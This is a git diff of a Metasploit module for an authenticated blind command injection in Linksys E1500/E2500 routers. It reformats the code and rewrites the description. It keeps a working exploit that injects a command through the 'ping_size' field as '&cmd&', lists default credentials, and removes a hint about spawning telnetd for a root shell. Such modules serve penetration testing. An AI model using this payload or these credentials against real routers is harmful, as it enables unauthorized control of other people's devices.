diff --git a/modules/auxiliary/admin/http/linksys_e1500_e2500_exec.rb b/modules/auxiliary/admin/http/linksys_e1500_e2500_exec.rb index fb63ccc2ec..bee7ef69e4 100644 --- a/modules/auxiliary/admin/http/linksys_e1500_e2500_exec.rb +++ b/modules/auxiliary/admin/http/linksys_e1500_e2500_exec.rb @@ -13,28 +13,23 @@ class Metasploit3 < Msf::Auxiliary def initialize(info = {}) super(update_info(info, - 'Name' => 'Linksys E1500/E2500 Remote OS Command Execution', + 'Name' => 'Linksys E1500/E2500 Remote Command Execution', 'Description' => %q{ - Some Linksys Routers are vulnerable to OS Command injection. - You will need credentials to the webinterface to access the vulnerable part - of the application. Default credentials are always a good starting point. - admin/admin or admin/password could be a first try. - Note: This is a blind os command injection vulnerability. This means that you will - not see any output of your command. Try a ping command to your local system for a - first test. - - Hint: To get a remote shell you could start telnetd and touch /etc/group. Use the - user root without a password for accessing the device. + Some Linksys Routers are vulnerable to an authenticated OS command injection. + Default credentials for the web interface are admin/admin or admin/password. Since + it is a blind os command injection vulnerability, there is no output for the + executed command. A ping command against a controlled system for can be used for + testing purposes. }, 'Author' => [ 'm-1-k-3' ], 'License' => MSF_LICENSE, 'References' => [ - [ 'URL', 'http://homesupport.cisco.com/de-eu/support/routers/E1500' ], - [ 'URL', 'http://www.s3cur1ty.de/m1adv2013-004' ], - [ 'EDB', '24475' ], [ 'OSVDB', '89912' ], - [ 'BID', '57760' ] + [ 'BID', '57760' ], + [ 'EDB', '24475' ], + [ 'URL', 'http://homesupport.cisco.com/de-eu/support/routers/E1500' ], + [ 'URL', 'http://www.s3cur1ty.de/m1adv2013-004' ] ], 'DisclosureDate' => 'Feb 05 2013')) @@ -54,14 +49,14 @@ class Metasploit3 < Msf::Auxiliary print_status("#{rhost}:#{rport} - Trying to login with #{user} / #{pass}") begin - res = send_request_cgi({ - 'uri' => uri, - 'method' => 'GET', - 'authorization' => basic_auth(user,pass) - }) + res = send_request_cgi({ + 'uri' => uri, + 'method' => 'GET', + 'authorization' => basic_auth(user,pass) + }) - return if res.nil? - return if (res.code == 404) + return if res.nil? + return if (res.code == 404) if [200, 301, 302].include?(res.code) print_good("#{rhost}:#{rport} - Successful login #{user}/#{pass}") @@ -71,11 +66,10 @@ class Metasploit3 < Msf::Auxiliary end rescue ::Rex::ConnectionError - vprint_error("#{rhost}:#{rport} - Failed to connect to the web server") - return + vprint_error("#{rhost}:#{rport} - Failed to connect to the web server") + return end - print_status("#{rhost}:#{rport} - Sending remote command: " + datastore['CMD']) cmd = datastore['CMD'] @@ -85,23 +79,22 @@ class Metasploit3 < Msf::Auxiliary vprint_status("#{rhost}:#{rport} - using the following target URL: #{uri}") begin - res = send_request_cgi( - { - 'uri' => uri, - 'method' => 'POST', - 'authorization' => basic_auth(user,pass), - 'vars_post' => { - "submit_button" => "Diagnostics", - "change_action" => "gozila_cgi", - "submit_type" => "start_ping", - "action" => "", - "commit" => "0", - "ping_ip" => "1.1.1.1", - "ping_size" => "&#{cmd}&", - "ping_times" => "5", - "traceroute_ip" => "" - } - }) + res = send_request_cgi({ + 'uri' => uri, + 'method' => 'POST', + 'authorization' => basic_auth(user,pass), + 'vars_post' => { + "submit_button" => "Diagnostics", + "change_action" => "gozila_cgi", + "submit_type" => "start_ping", + "action" => "", + "commit" => "0", + "ping_ip" => "1.1.1.1", + "ping_size" => "&#{cmd}&", + "ping_times" => "5", + "traceroute_ip" => "" + } + }) rescue ::Rex::ConnectionError vprint_error("#{rhost}:#{rport} - Failed to connect to the web server") return